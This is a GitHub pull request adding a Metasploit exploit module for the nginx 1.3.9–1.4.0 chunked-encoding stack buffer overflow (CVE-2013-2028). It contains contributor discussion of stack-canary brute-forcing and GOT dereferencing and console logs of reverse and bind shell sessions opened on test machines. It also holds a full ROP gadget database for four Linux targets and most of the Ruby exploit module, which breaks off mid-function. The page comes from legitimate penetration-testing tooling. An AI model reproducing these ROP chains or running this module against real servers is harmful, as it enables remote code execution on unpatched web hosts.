Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP

Loading…

Exploit module for nginx chunked stack buffer overflow. #1834

Closed
wants to merge 16 commits into from

6 participants

@linuxgeek247

This is an exploit module for the chunked encoding stack buffer overflow vulnerability in nginx 1.3.9 and 1.4.0. It also includes a ropdb xml file for the exploit with targets for Kali 1.0 (my dev environment) and RHEL 6.4 using the installed libc for both targets.

@saelo

Hi,
I was playing around with that vuln, too. On my Systems (Ubuntu 13.04 and Debian 7) I also need to bypass stack protection (I compiled from source, but all packages I got from repos had stack protection enabled as well), your exploit doesn't seem to do this yet. Also versions 1.3.10-16 are vulnerable, too. Maybe we could work on this together, add more targets and see if we can bypass stack protection?

@linuxgeek247

I'd definitely be willing to give it a go. I actually started looking at Ubuntu 12.04 LTS after sending this request and noticed the same thing. I'll try to take more of a look at it this weekend unless someone has already found a solution.

@linuxgeek247

Running against a fully updated Ubuntu 13.04 against 1.4.0 compiled from source:
[] Searching for stack canary
[
] Bruteforcing byte 1
[*] Byte 1 found: 0x79

[] Bruteforcing byte 2
[
] Byte 2 found: 0x27

[] Bruteforcing byte 3
[
] Byte 3 found: 0xde

[*] Canary found: 0xde277900

[] Sending 2048 byte payload at base 0xb7470000
[
] Sending 2048 byte payload at base 0xb7471000
[] Sending 2048 byte payload at base 0xb7472000
[
] Sending 2048 byte payload at base 0xb7473000
[] Sending 2048 byte payload at base 0xb7474000
[
] Sending 2048 byte payload at base 0xb7475000
[] Sending 2048 byte payload at base 0xb7476000
[
] Sending 2048 byte payload at base 0xb7477000
[] Sending 2048 byte payload at base 0xb7478000
[
] Sending 2048 byte payload at base 0xb7479000
[] Sending 2048 byte payload at base 0xb747a000
[
] Sending 2048 byte payload at base 0xb747b000
[] Sending 2048 byte payload at base 0xb747c000
[
] Sending 2048 byte payload at base 0xb747d000
[] Sending 2048 byte payload at base 0xb747e000
[
] Sending 2048 byte payload at base 0xb747f000
[] Sending 2048 byte payload at base 0xb7480000
[
] Sending 2048 byte payload at base 0xb7481000
[] Sending 2048 byte payload at base 0xb7482000
[
] Sending 2048 byte payload at base 0xb7483000
[] Sending 2048 byte payload at base 0xb7484000
[
] Sending 2048 byte payload at base 0xb7485000
[] Sending 2048 byte payload at base 0xb7486000
[
] Sending 2048 byte payload at base 0xb7487000
[] Sending 2048 byte payload at base 0xb7488000
[
] Sending 2048 byte payload at base 0xb7489000
[] Sending 2048 byte payload at base 0xb748a000
[
] Sending 2048 byte payload at base 0xb748b000
[] Sending 2048 byte payload at base 0xb748c000
[
] Sending 2048 byte payload at base 0xb748d000
[] Sending 2048 byte payload at base 0xb748e000
[
] Sending 2048 byte payload at base 0xb748f000
[] Sending 2048 byte payload at base 0xb7490000
[
] Sending 2048 byte payload at base 0xb7491000
[] Sending 2048 byte payload at base 0xb7492000
[
] Sending 2048 byte payload at base 0xb7493000
[] Sending 2048 byte payload at base 0xb7494000
[
] Sending 2048 byte payload at base 0xb7495000
[] Sending stage (36 bytes) to 192.168.1.19
[
] Command shell session 11 opened (192.168.1.114:5353 -> 192.168.1.19:42020) at 2013-05-16 23:20:08 -0400
ps
PID TTY TIME CMD
12769 ? 00:00:00 sh
12770 ? 00:00:00 ps

@linuxgeek247

Normally I do, but currently that causes it to fail. I figured I would get it up here and then deal with that later. As far as detection, most devices are going to alert on the screwed up chunk size.

@jvazquez-r7
Collaborator

Hi @saelo and @linuxgeek247 . It s an awesome contribution! Thank you very much! I couldn't resist to join this collaboration effort if you don't mind :$

Tried a GOT dereferencing attack in order to avoid the libc brute forcing attack. Since nginx compiles with NO PIE by default looks like a good approach in order to avoid the brute force attack.

I've implemented it for nginx 1.4.0 compiled (default options) on Debian Squeeze. It's available on this branch so you can give it a look and share your opinion:

https://github.com/jvazquez-r7/metasploit-framework/commits/nginx_got_dereferencing

The commit for my mod module is also here:

jvazquez-r7@811ed7f

The module working:


msf exploit(nginx_chunked_size_no_brute) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(nginx_chunked_size_no_brute) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(nginx_chunked_size_no_brute) > rexploit
[*] Reloading module...

[-] Exploit failed: No NOP generators succeeded.
msf exploit(nginx_chunked_size_no_brute) > rexploit
[*] Reloading module...

[*] 192.168.172.200:80 - Sending 523 byte payload
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1tNBEwk5zjp3wvoy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "1tNBEwk5zjp3wvoy\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.200:53788) at 2013-05-21 20:14:44 -0500

id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

What do you think? I must to admit in my opinion the exploit is more reliable using the GOT dereference over the brute force attack. So if you agree we could migrate the current module to use this technique. Or maybe mix targets and allow both GOT dereferencing and brute force attack :)

Again, thanks very much for the effort! It's kinda awesome.

@linuxgeek247

It's definitely much faster. I never actually thought to do that but it makes sense. The only thing I'm fuzzy on is the purpose of using the offset between localtime_r to system. What's the purpose of that versus just using the system got address? Thanks very much. This should simplify things greatly.

@linuxgeek247

Scratch that. I see what you are doing. I just couldn't figure out what the point of the 0x5d5b14c4 was for.

@jvazquez-r7
Collaborator

@linuxgeek247 there isn't system in the nginx GOT, because of that we're using the localtime_r one and calculating the system address having into account the libc offset.

The 0x5d5b14c4 offset is because of the "add eax, [ebx+0x5d5b14c4] # ret" gadget. This gadget allows to get on eax the system address if you previously have the localtime_r address (you can get it from the nginx got) and the offset (it's libc specific, so target specific, not a big deal because the curent exploit is also target specific when leaking the libc address) :)

I'm going to work on this today, would like to merge both approaches, brute forcing targets and got dereferencing targets, and land one first version into the framework! :)

Seriously, kinda awesome work guys! :)

@linuxgeek247

I'm actually migrating your got approach for Ubuntu right now. The only difference is the canary bruteforce. Just finishing up the store function now. Would it be better to create rop xml files for this or just store them in the target hash since they are so much smaller?

@jvazquez-r7
Collaborator

Hi @linuxgeek247 I think storing them in the target hash would be better in this case :) Oka, I wait to your new version and then will work on cleaning it if necessary before merging! thanks @linuxgeek247 !!! Kinda hard work! Just ping me if you need help while coding it. Also, I'm available at freenode, metasploit channel, in case you would like to discuss any detail!

@jvazquez-r7
Collaborator

Or better, ad a function for generating the rop for every target, and in the target hash meta information, just keep a callback to the correct function to call when generating the rop :). Since ROP chains for these approachs are smaller I feel comfortable adding them in the code.

@linuxgeek247

I've got everything updated now. I've removed RHEL and Cali for now. I'm going to close this pull request and open a clean request.

@jvazquez-r7
Collaborator

Sounds good, can't wait to look into it and hopefully merge :)

@danghvu

I believe there is an execve in nginx, can't you use it directly instead of a calculated system ?

@jvazquez-r7
Collaborator

Not directly I guess but opens the door to a possible ROP shellcode :)

@niubl

i compile nginx 1.4.0 on kaili 1.0 and ubuntu 12.04,then i test this exp,but it does not work. who guys can tell how to make a vulnerable evironment? my email:448354223@qq.com . think you very much.

@saelo

currently available targets are debian squeeze and ubuntu 13.04 (both 32bit), can you try one of those and see if it works for you?

@niubl

@saelo i test ubuntu 13.04 today,but i failt to exploit by use nginx 1.4.0.is there some other config needed to do during compile nginx?

@saelo

@niubl Ok, interesting. You compiled the version from their mercurial repository? The ROP gadgets in the current exploit didn't work for me either (apparently for the others though), can you check if my version works for you? You can find it here: saelo/metasploit-framework@b060612
Just download the new file and replace it in your copy of msf. If that still does not work you can send me a copy of your nginx executable (objs/nginx) so I can take a look at it.

@niubl

@saelo this my steps:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
msf exploit(nginx_chunked_size) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
msf exploit(nginx_chunked_size) > show options

Module options (exploit/linux/http/nginx_chunked_size):

Name Current Setting Required Description


RHOST 10.1.11.3 yes The target address
RPORT 80 yes The remote HTTP server port

Payload options (generic/shell_bind_tcp):

Name Current Setting Required Description


LPORT 9999 yes The listen port
RHOST 10.1.11.3 no The target address

Exploit target:

Id Name


0 Ubuntu 13.04 32bit - nginx 1.4.0

msf exploit(nginx_chunked_size) > exploit

[] Started bind handler
[
] 10.1.11.3:80 - Searching for stack canary
[] 10.1.11.3:80 - Assuming byte 0 0x00
[
] 10.1.11.3:80 - Bruteforcing byte 1
[+] 10.1.11.3:80 - Byte 1 found: 0x3c
[] 10.1.11.3:80 - Bruteforcing byte 2
[+] 10.1.11.3:80 - Byte 2 found: 0x3a
[
] 10.1.11.3:80 - Bruteforcing byte 3
[+] 10.1.11.3:80 - Byte 3 found: 0xb5
[+] 10.1.11.3:80 - Canary found: 0xb53a3c00

msf exploit(nginx_chunked_size) > sessions

Active sessions

No active sessions.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
can you give you email? i will send you my nginx source whick i tested.

@saelo

You can find me in the metasploit IRC channel (with this nick), lets talk there :)

@inode-

I'm getting the sames problems as niubl, downloaded and installed version 1.4.0, tryed to exploit but failt with official module and saelo one (working on ubuntu 13.04 32bit). Any compiler options needed?

@saelo

@inode- can you meet me in IRC, too? No special compiler options should be needed.

@inode-

@saelo I'm in, nickname odfijoisjsodifjs

@saelo

General Announcement

If you are having trouble getting the exploit to work please make sure you compile with support for pcre and zlib by installing libpcre++-dev and zlib1g-dev in ubuntu :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on May 15, 2013
  1. @linuxgeek247
  2. @linuxgeek247
Commits on May 16, 2013
  1. @saelo

    Small changes.

    saelo authored
  2. @linuxgeek247

    Merge pull request #1 from saelo/master

    linuxgeek247 authored
    Small Changes
  3. @linuxgeek247
Commits on May 17, 2013
  1. @linuxgeek247

    Adding Ubuntu 13.04 target and the ability to quickly bruteforce the …

    linuxgeek247 authored
    …stack canary value on targets with stack canaries
  2. @linuxgeek247
Commits on May 18, 2013
  1. @saelo
  2. @linuxgeek247

    Merge pull request #2 from saelo/master

    linuxgeek247 authored
    Added Options for libc base and canary
  3. @linuxgeek247
  4. @linuxgeek247
  5. @linuxgeek247
  6. @linuxgeek247

    Fixed stability issues related to UA and Host fields by sending the r…

    linuxgeek247 authored
    …equest by hand and updated all offsets for targets
  7. @linuxgeek247

    Adding options for RPORT since we are no longer using the http client…

    linuxgeek247 authored
    … libraries and fixing version check
Commits on May 20, 2013
  1. @saelo

    Added new target: Debian Squeeze

    saelo authored
  2. @linuxgeek247

    Merge pull request #3 from saelo/master

    linuxgeek247 authored
    New target: Debian Squeeze
This page is out of date. Refresh to see the latest.
View
269 data/ropdb/nginx.xml
@@ -0,0 +1,269 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<db>
+ <rop>
+ <compatibility>
+ <target>Kali Linux 1.0</target>
+ </compatibility>
+
+ <!--
+ dpkg -l libc-* ii libc-bin 2.13-38 i386 Embedded GNU C Library: Binaries
+ b7533000-b768f000 r-xp 00000000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
+ b7692000-b7693000 rw-p 0015e000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
+ -->
+
+ <gadgets base="0">
+ <gadget offset="0x00001aa6">pop edx</gadget>
+ <gadget value ="0x080c429c">mmap64.plt</gadget>
+ <gadget offset="0x00078b14">xor eax, eax</gadget>
+ <gadget offset="0x0011d795">add eax ecx ; pop ebx ;;</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x000d5c5a">sub eax, 1</gadget>
+ <gadget offset="0x000d5c5a">sub eax, 1</gadget>
+ <gadget offset="0x000d5c5a">sub eax, 1</gadget>
+ <gadget offset="0x000d5c5a">sub eax, 1</gadget>
+ <gadget offset="0x0002a137">mov [eax], ecx</gadget>
+ <gadget offset="0x00003689">xchg ebp, eax</gadget>
+ <gadget offset="0x00078b14">xor eax, eax</gadget>
+ <gadget offset="0x0011d795">add eax ecx ; pop ebx ;;</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x0006efb0">mov eax [edx] ; mov [ecx] eax ; pop ebp</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x00125ec9">call eax ; pop ebx ; pop ebp</gadget>
+ <gadget value ="0x00000000">addr</gadget>
+ <gadget value ="0x00000800">payload size</gadget>
+ <gadget offset="0x000eb9f7">add esp 0x10 ; pop ebx ; pop ebp ;; (Also flags: PROT_READ | PROT_WRITE | PROT_EXEC)</gadget>
+ <gadget value ="0x00000022">MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">filedes</gadget>
+ <gadget value ="0x00000000">off_t</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x00103dbe">push esp ; pop ebx ; pop esi ; pop edi ; pop ebp</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x000ab68d">xchg ebx eax ;;</gadget>
+ <gadget offset="0x000f66ad">add eax 0xc ;;</gadget>
+ <gadget offset="0x000f66ad">add eax 0xc ;;</gadget>
+ <gadget offset="0x000f66ad">add eax 0xc ;;</gadget>
+ <gadget offset="0x000f66ad">add eax 0xc ;;</gadget>
+ <gadget offset="0x000f66ad">add eax 0xc ;;</gadget>
+ <gadget offset="0x000f66ad">add eax 0xc ;;</gadget>
+ <gadget offset="0x000f66ad">add eax 0xc ;;</gadget>
+ <gadget offset="0x000f66ad">add eax 0xc ;;</gadget>
+ <gadget offset="0x0007fa9c">add eax 0x8 ;;</gadget>
+ <gadget offset="0x000b0edc">push eax ; xor eax eax ; pop esi ; pop ebp ;;</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x000ab68d">xchg ebx eax ;;</gadget>
+ <gadget offset="0x000c9325">xchg edi eax ;;</gadget>
+ <gadget offset="0x000e2c02">pop ecx ; pop edx ;;</gadget>
+ <gadget value ="0x00000200">payload size (in dwords)</gadget>
+ <gadget value ="0x00000000">garbage</gadget>
+ <gadget offset="0x0007a35c">rep movsd ; xchg edi eax ; mov esi edx ;; </gadget>
+ <gadget offset="0x0002a6eb">pop ecx, pop edx</gadget>
+ <gadget value ="0x00000800">payload size</gadget>
+ <gadget value ="0x00000000">garbage</gadget>
+ <gadget offset="0x00121fd8">sub eax, ecx</gadget>
+ <gadget offset="0x000e2abb">call eax ; pop ebx ; pop ebp ;;</gadget>
+ </gadgets>
+ </rop>
+
+ <rop>
+ <compatibility>
+ <target>Red Hat Enterprise Linux 6.4</target>
+ </compatibility>
+
+ <!--
+ rpm -qa | grep libc- glibc-2.12-1.107.el6.i686
+ 001a1000-00335000 r-xp 00000000 ca:41 14763 /lib/i686/nosegneg/libc-2.12.so
+ 00337000-00338000 rw-p 00196000 ca:41 14763 /lib/i686/nosegneg/libc-2.12.so
+ -->
+
+ <gadgets base="0">
+ <gadget offset="0x00001aa6">pop edx</gadget>
+ <gadget value ="0x080b42d4">mmap64</gadget>
+ <gadget offset="0x0007a414">xor eax, eax</gadget>
+ <gadget offset="0x00139aa0">add eax ecx ; pop ebx ;;</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x000e57ca">sub eax, 1</gadget>
+ <gadget offset="0x000e57ca">sub eax, 1</gadget>
+ <gadget offset="0x000e57ca">sub eax, 1</gadget>
+ <gadget offset="0x000e57ca">sub eax, 1</gadget>
+ <gadget offset="0x0002a4e7">mov [eax], ecx</gadget>
+ <gadget offset="0x00003671">xchg ebp, eax</gadget>
+ <gadget offset="0x0007a414">xor eax, eax</gadget>
+ <gadget offset="0x00139aa0">add eax ecx ; pop ebx ;;</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x0006fc30">mov eax [edx] ; mov [ecx] eax ; pop ebp</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x00145519">call eax ; pop ebx ; pop ebp</gadget>
+ <gadget value ="0x00000000">addr</gadget>
+ <gadget value ="0x00000800">payload size</gadget>
+ <gadget offset="0x000a0677">add esp 0x20 ; pop ebx ; pop ebp ;; (Also flags: PROT_READ | PROT_WRITE | PROT_EXEC)</gadget>
+ <gadget value ="0x00000022">MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">filedes</gadget>
+ <gadget value ="0x00000000">off_t</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x000bc833">push esp ; pop ebx ; pop esi ; pop edi ; pop ebp</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x00168d09">xchg ebx eax ;;</gadget>
+ <gadget offset="0x00081b2c">add eax 0xc ;;</gadget>
+ <gadget offset="0x00081b2c">add eax 0xc ;;</gadget>
+ <gadget offset="0x00081b2c">add eax 0xc ;;</gadget>
+ <gadget offset="0x00081b2c">add eax 0xc ;;</gadget>
+ <gadget offset="0x00081b2c">add eax 0xc ;;</gadget>
+ <gadget offset="0x00081b2c">add eax 0xc ;;</gadget>
+ <gadget offset="0x00081b2c">add eax 0xc ;;</gadget>
+ <gadget offset="0x00081b2c">add eax 0xc ;;</gadget>
+ <gadget offset="0x00081b1c">add eax 0x8 ;;</gadget>
+ <gadget offset="0x000b00cc">push eax ; xor eax eax ; pop esi ; pop ebp ;;</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x00168d09">xchg ebx eax ;;</gadget>
+ <gadget offset="0x0016d283">xchg edi eax ;;</gadget>
+ <gadget offset="0x0002aacb">pop ecx ; pop edx ;;</gadget>
+ <gadget value ="0x00000200">payload size (in dwords)</gadget>
+ <gadget value ="0x00000000">garbage</gadget>
+ <gadget offset="0x0007bd3c">rep movsd ; xchg edi eax ; mov esi edx ;; </gadget>
+ <gadget offset="0x0002aacb">pop ecx ; pop edx ;;</gadget>
+ <gadget value ="0x00000800">payload size</gadget>
+ <gadget value ="0x00000000">garbage</gadget>
+ <gadget offset="0x00141218">sub eax, ecx</gadget>
+ <gadget offset="0x000f59fb">call eax ; pop ebx ; pop ebp ;;</gadget>
+ </gadgets>
+ </rop>
+
+ <rop>
+ <compatibility>
+ <target>Ubuntu 13.04</target>
+ </compatibility>
+
+ <!--
+ dpkg -l | grep libc-* ii libc-bin 2.17-0ubuntu5 i386 Embedded GNU C Library: Binaries
+ b7573000-b7720000 r-xp 00000000 08:01 917528 /lib/i386-linux-gnu/libc-2.17.so
+ b7722000-b7723000 rw-p 001af000 08:01 917528 /lib/i386-linux-gnu/libc-2.17.so
+ -->
+
+ <gadgets base="0">
+ <gadget offset="0x00001aa6">pop edx</gadget>
+ <gadget value ="0x080c5188">mmap64</gadget>
+ <gadget offset="0x0002fa17">xor eax, eax</gadget>
+ <gadget offset="0x0013b978">add eax ecx ; pop ebx ;;</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x00083ad1">sub eax, 1</gadget>
+ <gadget offset="0x00083ad1">sub eax, 1</gadget>
+ <gadget offset="0x00083ad1">sub eax, 1</gadget>
+ <gadget offset="0x00083ad1">sub eax, 1</gadget>
+ <gadget offset="0x0002e09f">mov [eax], ecx</gadget>
+ <gadget offset="0x00003729">xchg ebp, eax</gadget>
+ <gadget offset="0x00002fa17">xor eax, eax</gadget>
+ <gadget offset="0x0013b978">add eax ecx ; pop ebx ;;</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x0012b870">mov eax [edx] ; add esp 0xc</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x000edea4">call eax ; add esp 0x28 ; pop ebx</gadget>
+ <gadget value ="0x00000000">addr</gadget>
+ <gadget value ="0x00000800">payload size</gadget>
+ <gadget value ="0x00000007">PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000022">MAP_PRIVATE | MAP_ANON</gadget>
+ <gadget value ="0xffffffff">filedes</gadget>
+ <gadget value ="0x00000000">off_t</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x00115bc5">push esp ; pop ebx ; pop esi</gadget>
+ <gadget value ="0x00000000">Garbage</gadget>
+ <gadget offset="0x0007fedd">mov edi eax ; mov esi edx ; mov eax [esp+0x4]</gadget>
+ <gadget offset="0x000f15e4">xchg ebx ecx</gadget>
+ <gadget offset="0x0014eb83">mov eax ecx</gadget>
+ <gadget offset="0x0011334a">add eax 0xc ;;</gadget>
+ <gadget offset="0x0011334a">add eax 0xc ;;</gadget>
+ <gadget offset="0x0011334a">add eax 0xc ;;</gadget>
+ <gadget offset="0x0011334a">add eax 0xc ;;</gadget>
+ <gadget offset="0x0011334a">add eax 0xc ;;</gadget>
+ <gadget offset="0x0011334a">add eax 0xc ;;</gadget>
+ <gadget offset="0x0011334a">add eax 0xc ;;</gadget>
+ <gadget offset="0x00113988">add eax 0x8 ;;</gadget>
+ <gadget offset="0x000ceb8c">push eax ; xor eax eax ; pop esi</gadget>
+ <gadget offset="0x0002e8bb">pop ecx ; pop edx ;;</gadget>
+ <gadget value ="0x00000200">payload size (in dwords)</gadget>
+ <gadget value ="0x00000000">garbage</gadget>
+ <gadget offset="0x0007f8fc">rep movsd ; xchg edi eax ; mov esi edx ;; </gadget>
+ <gadget offset="0x0002e8bb">pop ecx ; pop edx ;;</gadget>
+ <gadget value ="0x00000800">payload size</gadget>
+ <gadget value ="0x00000000">garbage</gadget>
+ <gadget offset="0x00145528">sub eax, ecx</gadget>
+ <gadget offset="0x0007ec86">call eax</gadget>
+
+ </gadgets>
+ </rop>
+
+ <rop>
+ <compatibility>
+ <target>Debian Squeeze</target>
+ </compatibility>
+
+ <!--
+ dpkg -l | grep libc* ii libc-bin 2.11.3-4 Embedded GNU C Library: Binaries
+ b75f5000-b7735000 r-xp 00000000 08:01 157287 /lib/i686/cmov/libc-2.11.3.so
+ b7738000-b7739000 rw-p 00142000 08:01 157287 /lib/i686/cmov/libc-2.11.3.so
+ -->
+
+ <gadgets base="0">
+ <!-- mmap rwx memory -->
+ <gadget value ="0x0804a210">mmap64@plt</gadget>
+ <gadget offset="0x000b744b">add esp 0x1c ; leave</gadget>
+ <gadget value ="0x31337000">map destination</gadget>
+ <gadget value ="0x00001000">size</gadget>
+ <gadget value ="0x00000007">PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
+ <gadget value ="0x00000031">MAP_PRIVATE | MAP_ANON | MAP_FIXED</gadget>
+ <gadget value ="0xffffffff">fildes</gadget>
+ <gadget value ="0x00000000">offset</gadget>
+ <gadget value ="0x00000000"></gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+
+ <!-- put stack location in eax and adjust it to point to src param for memcpy -->
+ <gadget offset="0x000c2bc7">push esp ; xor eax, eax ; pop ebx ; pop ebp</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+ <gadget offset="0x000cc3f6">xchg ecx, ebx ; pop ebp</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+ <gadget offset="0x000709e0">mov edi, ecx ; mov eax, edi ; pop edi ; pop ebp</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+ <gadget value ="0x0000004c">add to eax</gadget>
+ <gadget offset="0x000658e7">add eax, ebp</gadget>
+
+ <!-- move original stack location in [eax] -->
+ <gadget offset="0x0007487d">mov edi, eax ; mov esi, edx ; mov eax, [esp+4]</gadget>
+ <gadget offset="0x000c4262">mov eax, ecx ; pop ebx ; pop ebp</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+ <gadget offset="0x0002c528">mov [edi], eax ; pop eax ; pop ebx ; pop esi ; pop edi</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+ <gadget value ="0xffffffff">garbage</gadget>
+
+ <!-- call memcpy and return into payload -->
+ <gadget value ="0x08049f10">memcpy@plt</gadget>
+ <gadget value ="0x31337054">return into payload</gadget>
+ <gadget value ="0x31337000">dest</gadget>
+ <gadget value ="0xffffffff">src (overwritten by stack location)</gadget>
+ <gadget value ="0x00001000">size</gadget>
+
+ </gadgets>
+ </rop>
+
+
+</db>
View
265 modules/exploits/linux/http/nginx_chunked_size.rb
@@ -0,0 +1,265 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Remote
+ include Exploit::Remote::Tcp
+ include Msf::Exploit::RopDb
+ include Msf::Exploit::Brute
+
+ def initialize(info = {})
+
+ super(update_info(info,
+ 'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
+ 'Description' => %q{
+ This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx. The exploit first triggers
+ an integer overflow in the ngx_http_parse_chunked() by supplying an overly long hex value as chunked block size.
+ This value is later used when determining the number of bytes to read into a stack buffer, thus the overflow becomes possible.
+ },
+ 'Author' =>
+ [
+ 'Greg MacManus', # original discovery
+ 'hal', # exploit development
+ 'saelo' # exploit development
+ ],
+ 'DisclosureDate' => 'May 07 2013',
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['CVE', '2013-2028'],
+ ['OSVDB', '93037'],
+ ['URL', 'http://nginx.org/en/security_advisories.html'],
+ ['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']
+ ],
+ 'Privileged' => false,
+ 'Payload' =>
+ {
+ 'DisabeNops' => false,
+ 'Space' => 0x800,
+ 'BadChars' => "\x0d\x0a\x20",
+ },
+ 'Targets' =>
+ [
+ [
+ 'Kali Linux 1.0 32bit - nginx 1.4.0',
+ {
+ 'Arch' => ARCH_X86,
+ 'Ropname' => 'Kali Linux 1.0',
+ 'Platform' => 'linux',
+ 'Offset' => 5114,
+ 'Bruteforce' =>
+ {
+ 'Start' => { 'libc_base' => 0xb74c0000},
+ 'Stop' => { 'libc_base' => 0xb75d0000},
+ 'Step' => 0x1000
+ }
+ },
+ ],
+ [
+ 'Red Hat Enterprise Linux 6.4 32bit - nginx 1.4.0',
+ {
+ 'Arch' => ARCH_X86,
+ 'Ropname' => 'Red Hat Enterprise Linux 6.4',
+ 'Platform' => 'linux',
+ 'Offset' => 5130,
+ 'Bruteforce' =>
+ {
+ 'Start' => { 'libc_base' => 0x00110000},
+ 'Stop' => { 'libc_base' => 0x0044f000},
+ 'Step' => 0x1000
+ }
+ }
+ ],
+ [
+ 'Ubuntu 13.04 32bit - nginx 1.4.0',
+ {
+ 'Arch' => ARCH_X86,
+ 'Ropname' => 'Ubuntu 13.04',
+ 'Platform' => 'linux',
+ 'CanaryOffset' => 5050,
+ 'Offset' => 12,
+ 'Bruteforce' =>
+ {
+ 'Start' => { 'libc_base' => 0xb7470000},
+ 'Stop' => { 'libc_base' => 0xb757f000},
+ 'Step' => 0x1000
+ }
+ }
+ ],
+ [
+ 'Debian Squeeze 32bit - nginx 1.4.0',
+ {
+ 'Arch' => ARCH_X86,
+ 'Ropname' => 'Debian Squeeze',
+ 'Platform' => 'linux',
+ 'Offset' => 5130,
+ 'Bruteforce' =>
+ {
+ 'Start' => { 'libc_base' => 0xb74f0000},
+ 'Stop' => { 'libc_base' => 0xb75ff000},
+ 'Step' => 0x1000
+ }
+ }
+ ],
+
+ ],
+
+ 'DefaultTarget' => 0
+ ))
+
+ register_options([
+ OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
+ ], self.class)
+
+ register_advanced_options(
+ [
+ OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff]),
+ OptInt.new("LIBC_BASE", [false, "Use this value as libc base address instead of brute forcing it", 0xffffffff])
+ ], self.class)
+
+ end
+
+ def check
+ @peer = "#{rhost}:#{rport}"
+
+ begin
+ res = send_request_fixed(nil)
+
+ if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
+ return Exploit::CheckCode::Appears
+ elsif res =~ /^Server: nginx/m
+ return Exploit::CheckCode::Detected
+ end
+
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+ print_error("#{@peer} - Connection failed")
+ end
+
+ return Exploit::CheckCode::Unknown
+
+ end
+
+ #
+ # Generate a random chunk size that will always result
+ # in a negative 64bit number when being parsed
+ #
+ def random_chunk_size(bytes=16)
+ return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join
+ end
+
+ def send_request_fixed(data)
+ connect
+
+ request = "GET / HTTP/1.1\r\n"
